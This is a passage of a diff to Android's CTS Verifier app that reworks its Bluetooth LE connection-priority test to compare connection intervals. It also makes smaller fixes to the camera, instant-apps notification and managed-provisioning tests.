-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER);

-            break;

-        default:

-            mPriority = BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED;

-            mBluetoothGatt.requestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

-            break;

-        }

-

-        // Create Timer for Periodic transmission

-        mStartDate = new Date();

-        TimerTask task = new TimerTask() {

-            @Override

-            public void run() {

-                if (mBluetoothGatt == null) {

-                    if (DEBUG) {

-                        Log.d(TAG, "BluetoothGatt is null, return");

-                    }

-                    return;

-                }

-

-                Date currentData = new Date();

-                if ((currentData.getTime() - mStartDate.getTime()) >= mPeriod) {

-                    if (mConnectionTimer != null) {

-                        mConnectionTimer.cancel();

-                        mConnectionTimer = null;

-                    }

-                    // The STOP_CHARACTERISTIC_UUID is critical in syncing the client and server

-                    // states.  Delay the write by 2 seconds to improve the chance of this

-                    // characteristic going through.  Consider changing the code to use callbacks

-                    // in the future to make it more robust.

-                    sleep(2000);

-                    // write termination data (contains current priority and number of messages wrote)

-                    String msg = "" + mPriority + "," + mWriteCount;

-                    writeCharacteristic(STOP_CHARACTERISTIC_UUID, msg);

-                    sleep(1000);

-                    Intent intent = new Intent();

-                    switch (mPriority) {

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_BALANCED:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_BALANCED);

-                        break;

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_HIGH);

-                        break;

-                    case BleConnectionPriorityServerService.CONNECTION_PRIORITY_LOW_POWER:

-                        intent.setAction(ACTION_FINISH_CONNECTION_PRIORITY_LOW_POWER);

-                        break;

-                    }

-                    sendBroadcast(intent);

-                }

-

-                if (mConnectionTimer != null) {

-                    // write testing data

-                    ++mWriteCount;

-                    writeCharacteristic(CHARACTERISTIC_UUID, WRITE_VALUE);

-                }

-            }

-        };

-

-        // write starting data

-        writeCharacteristic(START_CHARACTERISTIC_UUID, mPriority);

-

-        // start sending

-        sleep(1000);

-        mConnectionTimer = new Timer();

-        mConnectionTimer.schedule(task, 0, mInterval);

+    private void myRequestConnectionPriority(final int priority) {

+        mTaskQueue.addTask(new Runnable() {

+                                @Override

+                                public void run() {

+                                    mPriority = priority;

+                                    mBluetoothGatt.requestConnectionPriority(mPriority);

+                                    //continue in onConnectionUpdated() callback

+                                }

+                            });

     }

 

-    private BluetoothGattService getService() {

-        BluetoothGattService service = null;

-

-        if (mBluetoothGatt != null) {

-            service = mBluetoothGatt.getService(SERVICE_UUID);

-            if (service == null) {

-                showMessage("Service not found");

-            }

-        }

-        return service;

-    }

-

-    private BluetoothGattCharacteristic getCharacteristic(UUID uuid) {

-        BluetoothGattCharacteristic characteristic = null;

-

-        BluetoothGattService service = getService();

-        if (service != null) {

-            characteristic = service.getCharacteristic(uuid);

-            if (characteristic == null) {

-                showMessage("Characteristic not found");

-            }

-        }

-        return characteristic;

-    }

-

-    private void writeCharacteristic(UUID uid, String writeValue) {

-        BluetoothGattCharacteristic characteristic = getCharacteristic(uid);

-        if (characteristic != null){

-            characteristic.setValue(writeValue);

-            mBluetoothGatt.writeCharacteristic(characteristic);

-        }

-    }

 

     private void sleep(int millis) {

         try {

@@ -372,19 +238,56 @@
             if (DEBUG){

                 Log.d(TAG, "onServiceDiscovered");

             }

-            if ((status == BluetoothGatt.GATT_SUCCESS) && (mBluetoothGatt.getService(SERVICE_UUID) != null)) {

+            if (status == BluetoothGatt.GATT_SUCCESS) {

                 showMessage("Service discovered");

                 Intent intent = new Intent(ACTION_CONNECTION_SERVICES_DISCOVERED);

                 sendBroadcast(intent);

             }

-        }

 

-        @Override

-        public void onCharacteristicWrite(BluetoothGatt gatt, BluetoothGattCharacteristic characteristic, int status) {

-            String value = characteristic.getStringValue(0);

-            UUID uid = characteristic.getUuid();

-            if (DEBUG) {

-                Log.d(TAG, "onCharacteristicWrite: characteristic.val=" + value + " status=" + status + " uid=" + uid);

+            //onConnectionUpdated is hidden callback, can't be marked as @Override.

+            // We must have a call to it, otherwise compiler will delete it during optimization.

+            if (status == 0xFFEFFEE) {

+                // This should never execute, but will make compiler not remove onConnectionUpdated 

+                onConnectionUpdated(null, 0, 0, 0, 0);

+                throw new IllegalStateException("This should never happen!");

+            }

+        }

+ 

+        // @Override uncomment once this becomes public API

+        public void onConnectionUpdated(BluetoothGatt gatt, int interval, int latency, int timeout,

+            int status) {

+            if (mPriority == NOT_UNDER_TEST) return;

+

+            if (status != 0) {

+                showMessage("onConnectionUpdated() error, status=" + status );

+                Log.e(TAG, "onConnectionUpdated() status=" + status);

+                return;

+            }

+

+            Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);

+            if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_LOW_POWER) {

+                interval_low = interval;

+                myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_BALANCED);

+            } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_BALANCED) {

+                interval_balanced = interval;

+                myRequestConnectionPriority(BluetoothGatt.CONNECTION_PRIORITY_HIGH);

+            } else if (mPriority == BluetoothGatt.CONNECTION_PRIORITY_HIGH) {

+                interval_high = interval;

+

+                if (interval_low < interval_balanced || interval_balanced < interval_high) {

+                   showMessage("interval value should be descending - failure!");

+                   Log.e(TAG, "interval values should be descending: interval_low=" + interval_low +

+                            ", interval_balanced=" + interval_balanced + ", interval_high=" + interval_high);

+                   return;

+                }

+

+                showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);

+         

+                Intent intent = new Intent();

+                intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);

+                sendBroadcast(intent);

+        

+                mPriority = NOT_UNDER_TEST;

             }

         }

     };

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
index c0a2f09..66e068e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerBaseActivity.java
@@ -37,12 +37,6 @@
 public class BleConnectionPriorityServerBaseActivity extends PassFailButtons.Activity {

 

     public static final int CONNECTION_PRIORITY_HIGH = 0;

-    public static final int CONNECTION_PRIORITY_BALANCED = 1;

-    public static final int CONNECTION_PRIORITY_LOW_POWER = 2;

-

-    private long mAverageBalanced = -1;

-    private long mAverageHigh = -1;

-    private long mAverageLow = -1;

 

     private TestAdapter mTestAdapter;

 

@@ -71,10 +65,7 @@
 

         IntentFilter filter = new IntentFilter();

         filter.addAction(BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_WRITE_REQUEST);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

-        filter.addAction(BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW);

+        filter.addAction(BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH);

         filter.addAction(BleServerService.BLE_ADVERTISE_UNSUPPORTED);

         filter.addAction(BleServerService.BLE_OPEN_FAIL);

         filter.addAction(BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST);

@@ -90,9 +81,7 @@
 

     private List<Integer> setupTestList() {

         ArrayList<Integer> testList = new ArrayList<Integer>();

-        testList.add(R.string.ble_connection_priority_client_high);

-        testList.add(R.string.ble_connection_priority_client_balanced);

-        testList.add(R.string.ble_connection_priority_client_low);

+        testList.add(R.string.ble_connection_priority_client_description);

         return testList;

     }

 

@@ -130,8 +119,8 @@
     private BroadcastReceiver mBroadcast = new BroadcastReceiver() {

         @Override

         public void onReceive(Context context, Intent intent) {

+            boolean passedAll = false;

             String action = intent.getAction();

-            long average = intent.getLongExtra(BleConnectionPriorityServerService.EXTRA_AVERAGE, -1);

             switch (action) {

             case BleConnectionPriorityServerService.ACTION_BLUETOOTH_DISABLED:

                 new AlertDialog.Builder(context)

@@ -148,64 +137,12 @@
             case BleConnectionPriorityServerService.ACTION_START_CONNECTION_PRIORITY_TEST:

                 showProgressDialog();

                 break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT:

-                mAverageHigh = average;

-                mAverageBalanced = -1;

-                mAverageLow = -1;

-                break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED:

-                mAverageBalanced = average;

-                break;

-            case BleConnectionPriorityServerService.ACTION_FINICH_CONNECTION_PRIORITY_LOW:

-                mAverageLow = average;

-                break;

-            case BleServerService.BLE_OPEN_FAIL:

-                setTestResultAndFinish(false);

-                runOnUiThread(new Runnable() {

-                    @Override

-                    public void run() {

-                        Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

-                    }

-                });

-                break;

-            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

-                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

-                break;

-            }

-

-            boolean passedHigh = (mAverageHigh >= 0);

-            boolean passedAll = false;

-

-            if (passedHigh) {

-                mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);

-            }

-

-            if (passedHigh && (mAverageLow >= 0) && (mAverageBalanced >= 0)) {

-                boolean passedBalanced = (mAverageHigh <= mAverageBalanced);

-                boolean passedLow = (mAverageBalanced <= mAverageLow);

-

-                if (passedBalanced) {

-                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_BALANCED);

-                }

-                if (passedLow) {

-                    mTestAdapter.setTestPass(CONNECTION_PRIORITY_LOW_POWER);

-                }

-

-                String resultMsg;

-                if (passedBalanced && passedLow) {

-                    resultMsg = getString(R.string.ble_server_connection_priority_result_passed);

-                    passedAll = true;

-                } else {

-                    String detailsMsg = String.format(getString(R.string.ble_server_connection_priority_result_intervals),

-                            mAverageHigh,

-                            mAverageBalanced,

-                            mAverageLow);

-                    resultMsg = getString(R.string.ble_server_connection_priority_result_failed)

-                            + "\n\n"

-                            + detailsMsg;

-                }

+            case BleConnectionPriorityServerService.ACTION_CONNECTION_PRIORITY_FINISH:

+                String resultMsg = getString(R.string.ble_server_connection_priority_result_passed);

 

                 closeDialog();

+

+                mTestAdapter.setTestPass(CONNECTION_PRIORITY_HIGH);

                 mDialog = new AlertDialog.Builder(BleConnectionPriorityServerBaseActivity.this)

                         .setMessage(resultMsg)

                         .setPositiveButton(android.R.string.ok, new DialogInterface.OnClickListener() {

@@ -222,10 +159,25 @@
                         })

                         .create();

                 mDialog.show();

+

+                getPassButton().setEnabled(true);

+                mTestAdapter.notifyDataSetChanged();

+                break;

+

+            case BleServerService.BLE_OPEN_FAIL:

+                setTestResultAndFinish(false);

+                runOnUiThread(new Runnable() {

+                    @Override

+                    public void run() {

+                        Toast.makeText(BleConnectionPriorityServerBaseActivity.this, R.string.bt_open_failed_message, Toast.LENGTH_SHORT).show();

+                    }

+                });

+                break;

+            case BleServerService.BLE_ADVERTISE_UNSUPPORTED:

+                showErrorDialog(R.string.bt_advertise_unsupported_title, R.string.bt_advertise_unsupported_message, true);

+                break;

             }

 

-            getPassButton().setEnabled(passedAll);

-            mTestAdapter.notifyDataSetChanged();

         }

     };

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
index e1e4eed..ccffcdb 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/bluetooth/BleConnectionPriorityServerService.java
@@ -45,43 +45,16 @@
 public class BleConnectionPriorityServerService extends Service {

     public static final boolean DEBUG = true;

     public static final String TAG = "BlePriorityServer";

-    private static final String RESET_COUNT_VALUE = "RESET";

-    private static final String START_VALUE = "START";

-    private static final String STOP_VALUE = "STOP";

-    public static final String CONNECTION_PRIORITY_HIGH = "PR_H";

-    public static final String CONNECTION_PRIORITY_BALANCED = "PR_B";

-    public static final String CONNECTION_PRIORITY_LOW_POWER = "PR_L";

 

     public static final String ACTION_BLUETOOTH_DISABLED =

             "com.android.cts.verifier.bluetooth.action.BLUETOOTH_DISABLED";

 

-    public static final String ACTION_CONNECTION_WRITE_REQUEST =

-            "com.android.cts.verifier.bluetooth.action.CONNECTION_WRITE_REQUEST";

-    public static final String EXTRA_REQUEST_COUNT =

-            "com.android.cts.verifier.bluetooth.intent.EXTRA_REQUEST_COUNT";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_HIGHT =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_HIGHT";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_BALANCED =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_BALANCED";

-    public static final String ACTION_FINICH_CONNECTION_PRIORITY_LOW =

-            "com.android.cts.verifier.bluetooth.action.ACTION_FINICH_CONNECTION_PRIORITY_LOW";

+    public static final String ACTION_CONNECTION_PRIORITY_FINISH =

+            "com.android.cts.verifier.bluetooth.action.ACTION_CONNECTION_PRIORITY_FINISH";

 

     public static final String ACTION_START_CONNECTION_PRIORITY_TEST =

             "com.android.cts.verifier.bluetooth.action.ACTION_START_CONNECTION_PRIORITY_TEST";

 

-    public static final String EXTRA_AVERAGE =

-            "com.android.cts.verifier.bluetooth.intent.EXTRA_AVERAGE";

-

-    private static final UUID SERVICE_UUID =

-            UUID.fromString("00009999-0000-1000-8000-00805f9b34fb");

-    private static final UUID CHARACTERISTIC_UUID =

-            UUID.fromString("00009998-0000-1000-8000-00805f9b34fb");

-    private static final UUID START_CHARACTERISTIC_UUID =

-            UUID.fromString("00009997-0000-1000-8000-00805f9b34fb");

-    private static final UUID STOP_CHARACTERISTIC_UUID =

-            UUID.fromString("00009995-0000-1000-8000-00805f9b34fb");

-    private static final UUID DESCRIPTOR_UUID =

-            UUID.fromString("00009996-0000-1000-8000-00805f9b34fb");

     public static final UUID ADV_SERVICE_UUID=

             UUID.fromString("00002222-0000-1000-8000-00805f9b34fb");

 

@@ -92,8 +65,10 @@
     private Handler mHandler;

     private BluetoothLeAdvertiser mAdvertiser;

     private long mReceiveWriteCount;

-    private Timer mTimeoutTimer;

-    private TimerTask mTimeoutTimerTask;

+

+    private int interval_low = 0;

+    private int interval_balanced = 0;

+    private int interval_high = 0;

 

     @Override

     public void onCreate() {

@@ -102,10 +77,6 @@
         mBluetoothManager = (BluetoothManager) getSystemService(Context.BLUETOOTH_SERVICE);

         mAdvertiser = mBluetoothManager.getAdapter().getBluetoothLeAdvertiser();

         mGattServer = mBluetoothManager.openGattServer(this, mCallbacks);

-        mService = createService();

-        if ((mGattServer != null) && (mAdvertiser != null)) {

-            mGattServer.addService(mService);

-        }

         mDevice = null;

         mHandler = new Handler();

 

@@ -124,14 +95,6 @@
     public void onDestroy() {

         super.onDestroy();

 

-        cancelTimeoutTimer(false);

-

-        if (mTimeoutTimer != null) {

-            mTimeoutTimer.cancel();

-            mTimeoutTimer = null;

-        }

-        mTimeoutTimerTask = null;

-

         stopAdvertise();

         if (mGattServer == null) {

             return;

@@ -194,21 +157,6 @@
         }

     }

 

-    private void notifyServiceAdded() {

-        if (DEBUG) {

-            Log.d(TAG, "notifyServiceAdded");

-        }

-    }

-

-    private void notifyCharacteristicWriteRequest() {

-        if (DEBUG) {

-            Log.d(TAG, "notifyCharacteristicWriteRequest");

-        }

-        Intent intent = new Intent(ACTION_CONNECTION_WRITE_REQUEST);

-        intent.putExtra(EXTRA_REQUEST_COUNT, String.valueOf(mReceiveWriteCount));

-        sendBroadcast(intent);

-    }

-

     private void showMessage(final String msg) {

         mHandler.post(new Runnable() {

             @Override

@@ -218,38 +166,6 @@
         });

     }

 

-    private synchronized void cancelTimeoutTimer(boolean runTimeout) {

-        if (mTimeoutTimerTask != null) {

-            mTimeoutTimer.cancel();

-            if (runTimeout) {

-                mTimeoutTimerTask.run();

-            }

-            mTimeoutTimerTask = null;

-            mTimeoutTimer = null;

-        }

-    }

-

-    private BluetoothGattService createService() {

-        BluetoothGattService service =

-                new BluetoothGattService(SERVICE_UUID, BluetoothGattService.SERVICE_TYPE_PRIMARY);

-        // add characteristic to service

-        //   property: 0x0A (read, write)

-        //   permission: 0x11 (read, write)

-        BluetoothGattCharacteristic characteristic =

-                new BluetoothGattCharacteristic(CHARACTERISTIC_UUID, 0x0A, 0x11);

-        BluetoothGattDescriptor descriptor = new BluetoothGattDescriptor(DESCRIPTOR_UUID, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-        characteristic = new BluetoothGattCharacteristic(START_CHARACTERISTIC_UUID, 0x0A, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-        characteristic = new BluetoothGattCharacteristic(STOP_CHARACTERISTIC_UUID, 0x0A, 0x11);

-        characteristic.addDescriptor(descriptor);

-        service.addCharacteristic(characteristic);

-

-        return service;

-    }

-

     private final BluetoothGattServerCallback mCallbacks = new BluetoothGattServerCallback() {

         @Override

         public void onConnectionStateChange(BluetoothDevice device, int status, int newState) {

@@ -261,120 +177,50 @@
                     mDevice = device;

                     notifyConnected();

                 } else if (status == BluetoothProfile.STATE_DISCONNECTED) {

-                    cancelTimeoutTimer(true);

                     notifyDisconnected();

                     mDevice = null;

                 }

             }

+

+            //onConnectionUpdated is hidden callback, can't be marked as @Override.

+            // We must have a call to it, otherwise compiler will delete it during optimization.

+            if (status == 0xFFEFFEE) {

+                // This should never execute, but will make compiler not remove onConnectionUpdated 

+                onConnectionUpdated(null, 0, 0, 0, 0);

+                throw new IllegalStateException("This should never happen!");

+            }

+

         }

 

-        @Override

-        public void onServiceAdded(int status, BluetoothGattService service) {

-            if (DEBUG) {

-                Log.d(TAG, "onServiceAdded()");

-            }

-            if (status == BluetoothGatt.GATT_SUCCESS) {

-                notifyServiceAdded();

-            }

-        }

+        // @Override uncomment once this becomes public API

+        public void onConnectionUpdated(BluetoothDevice device, int interval, int latency, int timeout, int status) {

+            Log.i(TAG, "onConnectionUpdated() status=" + status + ", interval=" + interval);

 

-        String mPriority = null;

-

-        @Override

-        public void onCharacteristicWriteRequest(BluetoothDevice device, int requestId,

-                                                 BluetoothGattCharacteristic characteristic,

-                                                 boolean preparedWrite, boolean responseNeeded,

-                                                 int offset, byte[] value) {

-            if (mGattServer == null) {

-                if (DEBUG) {

-                    Log.d(TAG, "GattServer is null, return");

-                }

-                return;

-            }

-            if (DEBUG) {

-                Log.d(TAG, "onCharacteristicWriteRequest: preparedWrite=" + preparedWrite);

+            if (status != 0) {

+               interval_low = interval_balanced = interval_high = 0;

+               return;

             }

 

-            if (characteristic.getUuid().equals(START_CHARACTERISTIC_UUID)) {

-                // time out if previous measurement is running

-                cancelTimeoutTimer(true);

+            // since we don't know when the test started, wait for three descending interval values.

+            // Even though conneciton is updated by service discovery, it never happen three times

+            // descending in any scenario. 

 

-                mPriority = new String(value);

-                Log.d(TAG, "Start Count Up. Priority is " + mPriority);

-                if (BleConnectionPriorityServerService.CONNECTION_PRIORITY_HIGH.equals(mPriority)) {

-                    notifyTestStart();

-                }

+            // shift all values

+            interval_low = interval_balanced;

+            interval_balanced = interval_high;

+            interval_high = interval;

 

-                // start timeout timer

-                mTimeoutTimer = new Timer(getClass().getName() + "_TimeoutTimer");

-                mTimeoutTimerTask = new TimerTask() {

-                    @Override

-                    public void run() {

-                        // measurement timed out

-                        mTimeoutTimerTask = null;

-                        mTimeoutTimer = null;

-                        mReceiveWriteCount = 0;

-                        notifyMeasurementFinished(mPriority, Long.MAX_VALUE);

-                    }

-                };

-                mTimeoutTimer.schedule(mTimeoutTimerTask, (BleConnectionPriorityClientService.DEFAULT_PERIOD * 2));

-

-                mReceiveWriteCount = 0;

-            } else if (characteristic.getUuid().equals(STOP_CHARACTERISTIC_UUID)) {

-                boolean isRunning = (mTimeoutTimerTask != null);

-                cancelTimeoutTimer(false);

-

-                String valeStr = new String(value);

-                String priority = null;

-                int writeCount = -1;

-                int sep = valeStr.indexOf(",");

-                if (sep > 0) {

-                    priority = valeStr.substring(0, sep);

-                    writeCount = Integer.valueOf(valeStr.substring(sep + 1));

-                }

-

-                if ((mPriority != null) && isRunning) {

-                    if (mPriority.equals(priority)) {

-                        long averageTime = BleConnectionPriorityClientService.DEFAULT_PERIOD / mReceiveWriteCount;

-                        notifyMeasurementFinished(mPriority, averageTime);

-                        Log.d(TAG, "Received " + mReceiveWriteCount + " of " + writeCount + " messages");

-                    } else {

-                        Log.d(TAG, "Connection priority does not match");

-                        showMessage("Connection priority does not match");

-                    }

-                } else {

-                    Log.d(TAG, "Not Start Count UP.");

-                }

-                mReceiveWriteCount = 0;

-            } else {

-                if (mTimeoutTimerTask != null) {

-                    ++mReceiveWriteCount;

-                }

-                if (!preparedWrite) {

-                    characteristic.setValue(value);

-                }

-            }

-

-            if (responseNeeded) {

-                mGattServer.sendResponse(device, requestId, BluetoothGatt.GATT_SUCCESS, 0, null);

+            // If we end up with three descending values, test is passed.

+            if (interval_low > interval_balanced && interval_balanced > interval_high) {

+                showMessage("intervals: " + interval_low +" > " + interval_balanced + " > " + interval_high);

+                notifyMeasurementFinished();

             }

         }

     };

 

-    private void notifyMeasurementFinished(String priority, long averageTime) {

+    private void notifyMeasurementFinished() {

         Intent intent = new Intent();

-        intent.putExtra(EXTRA_AVERAGE, averageTime);

-        switch (priority) {

-            case CONNECTION_PRIORITY_HIGH:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_HIGHT);

-                break;

-            case CONNECTION_PRIORITY_BALANCED:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_BALANCED);

-                break;

-            case CONNECTION_PRIORITY_LOW_POWER:

-                intent.setAction(ACTION_FINICH_CONNECTION_PRIORITY_LOW);

-                break;

-        }

+        intent.setAction(ACTION_CONNECTION_PRIORITY_FINISH);

         sendBroadcast(intent);

     }

 

diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
index 7d2f25d..5788ef1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/its/ItsTestActivity.java
@@ -246,6 +246,9 @@
                         if (result.equals(RESULT_PASS) || result.equals(RESULT_FAIL)) {
                             boolean pass = result.equals(RESULT_PASS);
                             mExecutedScenes.put(key, pass);
+                            // Get start/end time per camera/scene for result history collection.
+                            mStartTime = sceneResult.getLong("start");
+                            mEndTime = sceneResult.getLong("end");
                             setTestResult(testId(cameraId, scene), pass ?
                                     TestResult.TEST_RESULT_PASSED : TestResult.TEST_RESULT_FAILED);
                             Log.e(TAG, "setTestResult for " + testId(cameraId, scene) + ": " + result);
@@ -349,6 +352,7 @@
                             + e, Toast.LENGTH_SHORT).show();
         }
 
+        super.onCreate(savedInstanceState);
         if (mToBeTestedCameraIds.size() == 0) {
             showToast(R.string.all_exempted_devices);
             ItsTestActivity.this.getReportLog().setSummary(
@@ -356,7 +360,6 @@
                     , 1.0, ResultType.NEUTRAL, ResultUnit.NONE);
             setTestResultAndFinish(true);
         }
-        super.onCreate(savedInstanceState);
         getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index e8bdcc7..3904f09 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -545,7 +545,8 @@
                                     mUntestedCombinations.remove(combination);
                                     mTestedCombinations.add(combination);
 
-                                    if (mUntestedCombinations.isEmpty()) {
+                                    if (mUntestedCombinations.isEmpty() &&
+                                            mUntestedCameras.isEmpty()) {
                                         mPassButton.setEnabled(true);
                                         if (VERBOSE) {
                                             Log.v(TAG, "run: test success");
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
old mode 100644
new mode 100755
index 6e2052c..77caeb9
--- a/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/instantapps/NotificationTestActivity.java
@@ -16,6 +16,8 @@
 package com.android.cts.verifier.instantapps;
 
 import android.os.Bundle;
+import android.os.SystemProperties;
+import android.content.pm.PackageManager;
 import android.widget.TextView;
 
 import com.android.cts.verifier.R;
@@ -34,6 +36,18 @@
 
         setInfoResources(R.string.ia_notification, R.string.ia_notification_info, -1);
         TextView extraText = (TextView) findViewById(R.id.instruction_extra_text);
-        extraText.setText(R.string.ia_notification_instruction_label);
+        if (isNoGooglePlayStore()) {
+            extraText.setText(R.string.ia_notification_instruction_label_no_app_market_version);
+        } else {
+            extraText.setText(R.string.ia_notification_instruction_label);
+        }
+    }
+
+    private boolean isNoGooglePlayStore() {
+        boolean isCnGmsVersion =
+                getApplicationContext().getPackageManager().hasSystemFeature("cn.google.services");
+        boolean isNoGmsVersion =
+                (SystemProperties.get("ro.com.google.gmsversion", null) == null);
+        return isCnGmsVersion || isNoGmsVersion;
     }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
index e781558..b13e3aa 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ByodFlowTestActivity.java
@@ -19,12 +19,17 @@
 import android.app.KeyguardManager;
 import android.app.admin.DevicePolicyManager;
 import android.content.ActivityNotFoundException;
+import android.content.BroadcastReceiver;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.SharedPreferences;
 import android.content.pm.PackageManager;
 import android.net.ConnectivityManager;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.Looper;
 import android.provider.Settings;
 import android.util.Log;
 import android.widget.Toast;
@@ -59,6 +64,7 @@
     protected static final String HELPER_APP_PATH = "/data/local/tmp/NotificationBot.apk";
 
     private static final String TAG = "ByodFlowTestActivity";
+    private static final int PROVISIONING_CHECK_PERIOD_MS = 3000;
     private static ConnectivityManager mCm;
     private static final int REQUEST_MANAGED_PROVISIONING = 0;
     private static final int REQUEST_PROFILE_OWNER_STATUS = 1;
@@ -66,6 +72,13 @@
     private static final int REQUEST_CHECK_DISK_ENCRYPTION = 3;
     private static final int REQUEST_SET_LOCK_FOR_ENCRYPTION = 4;
 
+    private static final String PROVISIONING_PREFERENCES = "provisioning_preferences";
+    private static final String PREFERENCE_PROVISIONING_COMPLETE_STATUS =
+            "provisioning_complete_status";
+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_NOT_RECEIVED = 0;
+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_RECEIVED = 1;
+    private static final int PREFERENCE_PROVISIONING_COMPLETE_STATUS_PROCESSED = 2;
+
     private ComponentName mAdminReceiverComponent;
     private KeyguardManager mKeyguardManager;
     private ByodFlowTestHelper mByodFlowTestHelper;
@@ -116,6 +129,26 @@
     private TestListItem mPolicyTransparencyTest;
     private TestListItem mTurnOffWorkFeaturesTest;
     private TestListItem mWidgetTest;
+    private final Handler mHandler = new Handler(Looper.myLooper());
+
+    private final Runnable mPeriodicProvisioningCheckRunnable = new Runnable() {
+        @Override
+        public void run() {
+            if (isProvisioningCompleteBroadcastReceived(getApplicationContext())) {
+                markProvisioningCompleteBroadcastProcessed(getApplicationContext());
+                queryProfileOwner(true);
+            } else {
+                mHandler.postDelayed(this, PROVISIONING_CHECK_PERIOD_MS);
+            }
+        }
+    };
+
+    public static class ProvisioningCompleteReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            markProvisioningCompleteBroadcastReceived(context);
+        }
+    }
 
     public ByodFlowTestActivity() {
         super(R.layout.provisioning_byod,
@@ -152,6 +185,27 @@
     }
 
     @Override
+    protected void onStart() {
+        super.onStart();
+        startPeriodicProvisioningCheckIfNecessary();
+    }
+
+    private void startPeriodicProvisioningCheckIfNecessary() {
+        if (mHandler.hasCallbacks(mPeriodicProvisioningCheckRunnable)) {
+            return;
+        }
+        if (!isProvisioningCompleteBroadcastProcessed(this)) {
+            mHandler.post(mPeriodicProvisioningCheckRunnable);
+        }
+    }
+
+    @Override
+    protected void onStop() {
+        super.onStop();
+        mHandler.removeCallbacks(mPeriodicProvisioningCheckRunnable);
+    }
+
+    @Override
     protected void onNewIntent(Intent intent) {
         super.onNewIntent(intent);
         if (ByodHelperActivity.ACTION_PROFILE_OWNER_STATUS.equals(intent.getAction())) {
